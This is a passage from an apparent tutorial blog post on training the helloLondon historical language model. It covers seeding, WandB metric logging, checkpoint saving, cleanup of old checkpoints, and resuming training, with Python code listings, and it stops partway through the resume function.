&lt;p&gt;Reproducibility and random seeds: To make runs repeatable on the same hardware, we set a deterministic seed per process using &lt;code&gt;torch.manual_seed(1337 + seed_offset)&lt;/code&gt;, where &lt;code&gt;seed_offset&lt;/code&gt; is the DDP rank (0 for single‑GPU). This gives consistent data shuffling and initialization across restarts while keeping each process distinct under DDP. Note that some CUDA kernels (and AMP/bf16) can introduce non‑determinism; for strict determinism, you may also configure PyTorch’s deterministic flags at the cost of performance.&lt;/p&gt;
&lt;h2 id=&#34;5-wandb-integration&#34;&gt;5. WandB Integration&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Weights &amp;amp; Biases (WandB)&lt;/strong&gt; is an experiment tracking and monitoring platform designed specifically for machine learning projects. Think of it as a &amp;ldquo;black box&amp;rdquo; for your training runs - it automatically records everything that happens during training so you can understand what worked, what didn&amp;rsquo;t, and why.&lt;/p&gt;
&lt;p&gt;Training a language model is a long‑running experiment. Without live telemetry, we are flying blind and can’t tell whether learning is stable, whether hardware is saturated, or whether runs are comparable. WandB gives real‑time visibility, remote monitoring, and reproducibility. It records loss, learning rate, and perplexity over time; captures GPU utilization and iteration latency; logs configuration and artifacts; and lets you compare runs side‑by‑side to understand which settings worked.&lt;/p&gt;
&lt;p&gt;The system includes WandB integration for experiment tracking and monitoring, with automatic configuration logging, real-time metric tracking (including loss, perplexity, and learning rate), model checkpoint integration, experiment comparison across different training runs, and resource monitoring (GPU utilization and memory usage). This integration helps track and compare different training runs, identify better configurations, and reproduce successful experiments.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Understanding WandB integration:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;#listing12&#34; class=&#34;listing-ref&#34;&gt;Listing 12&lt;/a&gt; logs the signals you need to fly by instruments: loss and perplexity trends for learning, the LR schedule to confirm warmup/decay, and hardware utilization and iteration timing for throughput and stability. It’s not just logging - it’s how you compare runs and catch issues early.&lt;/p&gt;
&lt;p&gt;This real-time monitoring lets us spot problems early, compare different training approaches, and ensure our historical language model is learning properly over days or weeks.&lt;/p&gt;
&lt;figure id=&#34;listing12&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Log to WandB - loss first for better mobile UI&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;use_wandb:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    wandb&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;log({
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;train/loss&amp;#34;&lt;/span&gt;: lossf,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;train/lr&amp;#34;&lt;/span&gt;: lr,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;train/iter&amp;#34;&lt;/span&gt;: iter_num,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;train/mfu&amp;#34;&lt;/span&gt;: running_mfu &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; running_mfu &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;train/dt_ms&amp;#34;&lt;/span&gt;: dt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1000&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    })&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 12: WandB Integration and Logging&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The system logs training loss, learning rate, iteration number, model flops utilization (MFU), and training time per iteration. These metrics provide comprehensive insight into training progress, efficiency, and potential issues.&lt;/p&gt;
&lt;p&gt;The most useful dials to watch are training loss (should steadily trend from ~8–10 toward ~2–4), MFU (a proxy for GPU efficiency - single‑digit theoretical targets but mid‑20s achievable with good tuning), the learning‑rate curve (warmup then cosine decay), and iteration time (a practical signal for throughput and stalls).&lt;/p&gt;
&lt;p&gt;Both SLM and Regular model training runs complete 60,000 iterations, providing consistent training depth across both model variants. &lt;a href=&#34;#fig11&#34; class=&#34;figure-ref&#34;&gt;Figure 11&lt;/a&gt; below shows the complete training experience for our Regular model (354M parameters), demonstrating both the console output and WandB&amp;rsquo;s comprehensive monitoring capabilities.&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;images/train17-regular.png&#34; alt=&#34;Complete training run output showing console logs and WandB summary&#34; title=&#34;Complete training run with WandB monitoring&#34; id=&#34;fig11&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 11:&lt;/strong&gt;Complete training run output showing console logs and WandB monitoring for Regular model (354M parameters)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Whilst it might be obvious, the screenshot in &lt;a href=&#34;#fig11&#34; class=&#34;figure-ref&#34;&gt;Figure 11&lt;/a&gt; captures the final moments of a successful 60,000-iteration training run, showing both the real-time console output and WandB&amp;rsquo;s comprehensive run summary. In this run, the logs reveal the training progression through the final iterations (59,850 to 60,000), with training loss steadily decreasing from 3.0575 to 2.7063, demonstrating healthy convergence.&lt;/p&gt;
&lt;p&gt;The WandB run summary provides the complete picture: a final training loss of 2.70315, a validation loss of 3.61921, and a validation perplexity of 37.31, all indicating successful model training. The system automatically saved the final checkpoint and cleaned up old checkpoints, while WandB captured the entire training journey with detailed metrics tracking. This comprehensive monitoring approach ensures we can both track progress in real time and analyze the full training history afterward.&lt;/p&gt;
&lt;h2 id=&#34;6-checkpointing-and-model-persistence&#34;&gt;6. Checkpointing and Model Persistence&lt;/h2&gt;
&lt;p&gt;Checkpointing is one of the most critical aspects of training large language models, especially for historical text, where training can take days or weeks. A robust checkpointing system ensures that training progress is never lost due to hardware failures, power outages, or other interruptions. In this section, we&amp;rsquo;ll explore the comprehensive checkpointing system built for the &lt;strong&gt;&lt;code&gt;helloLondon&lt;/code&gt;&lt;/strong&gt; project, covering everything from basic checkpoint creation to advanced resume functionality.&lt;/p&gt;
&lt;h3 id=&#34;61-checkpoint-system&#34;&gt;6.1 Checkpoint System&lt;/h3&gt;
&lt;p&gt;The training system implements a practical checkpointing system that preserves all aspects of training state, ensuring that training can be resumed from exactly where it left off. This is particularly important for any complex model, where training can take a long time.&lt;/p&gt;
&lt;p&gt;Each checkpoint packages four essentials: the model weights (so learning is preserved), the optimizer state (so momentum and adaptive stats resume cleanly), the current iteration (so schedules pick up in the right place), and the best validation loss to date (so we only promote genuinely better models). Together, these let you stop and restart without losing training dynamics.&lt;/p&gt;
&lt;p&gt;The code in &lt;a href=&#34;#listing13&#34; class=&#34;listing-ref&#34;&gt;Listing 13&lt;/a&gt; shows how these components are saved when validation loss improves:&lt;/p&gt;
&lt;figure id=&#34;listing13&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; losses[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;val&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt; best_val_loss:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    best_val_loss &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; losses[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;val&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; iter_num &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        checkpoint &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;model&amp;#39;&lt;/span&gt;: raw_model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;state_dict(),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;optimizer&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;optimizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;state_dict(),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;iter_num&amp;#39;&lt;/span&gt;: iter_num,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;best_val_loss&amp;#39;&lt;/span&gt;: best_val_loss,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        checkpoint_path &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;output_dir &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;checkpoint-&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;iter_num&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;.pt&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Saving checkpoint to &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;checkpoint_path&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;save(checkpoint, checkpoint_path)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Clean up old checkpoints - keep only the last 3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cleanup_old_checkpoints()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 13: Checkpointing and Model Persistence&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The checkpointing system uses a simple yet effective approach: it saves checkpoints only when the validation loss improves, rather than at every evaluation. This approach serves multiple purposes. First, it ensures we&amp;rsquo;re always keeping the best-performing model, not just the most recent one. Second, it significantly reduces I/O overhead during training, as checkpoint saves can be expensive operations (our 354M parameter model checkpoints are ~1.4GB each). Third, it prevents disk space issues by avoiding the accumulation of suboptimal checkpoints. This selective checkpointing approach can improve overall training time by 5-10% by eliminating redundant disk writes.&lt;/p&gt;
&lt;h3 id=&#34;62-checkpoint-management-and-cleanup&#34;&gt;6.2 Checkpoint Management and Cleanup&lt;/h3&gt;
&lt;p&gt;Since our 354M parameter model checkpoints are ~1.4GB each, we need to clean up old checkpoints to avoid running out of disk space. The system automatically keeps only the last 5 checkpoints and deletes older ones (as defined in &lt;code&gt;config.py&lt;/code&gt;). The cleanup function in &lt;a href=&#34;#listing14&#34; class=&#34;listing-ref&#34;&gt;Listing 14&lt;/a&gt; finds all checkpoint files, sorts them by modification time (newest first), and deletes everything except the most recent 5. Only the master process handles cleanup to avoid race conditions in multi-GPU setups.&lt;/p&gt;
&lt;figure id=&#34;listing14&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;cleanup_old_checkpoints&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, keep_last&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;5&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Clean up old checkpoints, keeping only the last N&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;master_process:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Only the master process should clean up&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Find all checkpoint files&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        checkpoint_files &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;list&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;output_dir&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;glob(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;checkpoint-*.pt&amp;#34;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(checkpoint_files) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;=&lt;/span&gt; keep_last:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Not enough checkpoints to clean up&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Sort by modification time (newest first)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        checkpoint_files&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;sort(key&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;lambda&lt;/span&gt; x: x&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;stat()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;st_mtime, reverse&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Keep the newest ones, delete the rest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        files_to_delete &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; checkpoint_files[keep_last:]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; file_path &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; files_to_delete:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                file_path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;unlink()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Deleted old checkpoint: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;file_path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;name&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;warning(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Failed to delete checkpoint &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;file_path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;name&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;e&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;except&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;Exception&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;warning(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Checkpoint cleanup failed: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;e&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 14: Checkpoint Cleanup and Management&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3 id=&#34;63-resume-training-functionality&#34;&gt;6.3 Resume Training Functionality&lt;/h3&gt;
&lt;p&gt;The ability to resume training from any checkpoint is useful when training gets interrupted. This functionality lets you pick up where you left off, whether the interruption was a few minutes or longer.&lt;/p&gt;
&lt;p&gt;The resume functionality loads a checkpoint file and restores the training state: the model weights, optimizer state, current iteration number, and best validation loss. If checkpoint loading fails, the code falls back to starting from scratch.&lt;/p&gt;
&lt;p&gt;When loading checkpoints, the code handles two practical considerations. First, the &lt;strong&gt;&lt;code&gt;map_location=self.device&lt;/code&gt;&lt;/strong&gt; parameter ensures the checkpoint loads onto the correct device (CPU or GPU), which matters if you&amp;rsquo;re resuming on different hardware or after a restart. Second, for multi-GPU setups using DistributedDataParallel, the model is wrapped in a &lt;code&gt;.module&lt;/code&gt; attribute, so the code uses &lt;code&gt;raw_model = self.model.module if self.ddp else self.model&lt;/code&gt; to access the actual model underneath.&lt;/p&gt;
&lt;figure id=&#34;listing15&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;resume_from_checkpoint_file&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Resume training from a checkpoint file&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;resume_from_checkpoint:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    checkpoint_path &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; Path(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;resume_from_checkpoint)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; checkpoint_path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;exists():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;error(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Checkpoint file not found: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;checkpoint_path&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
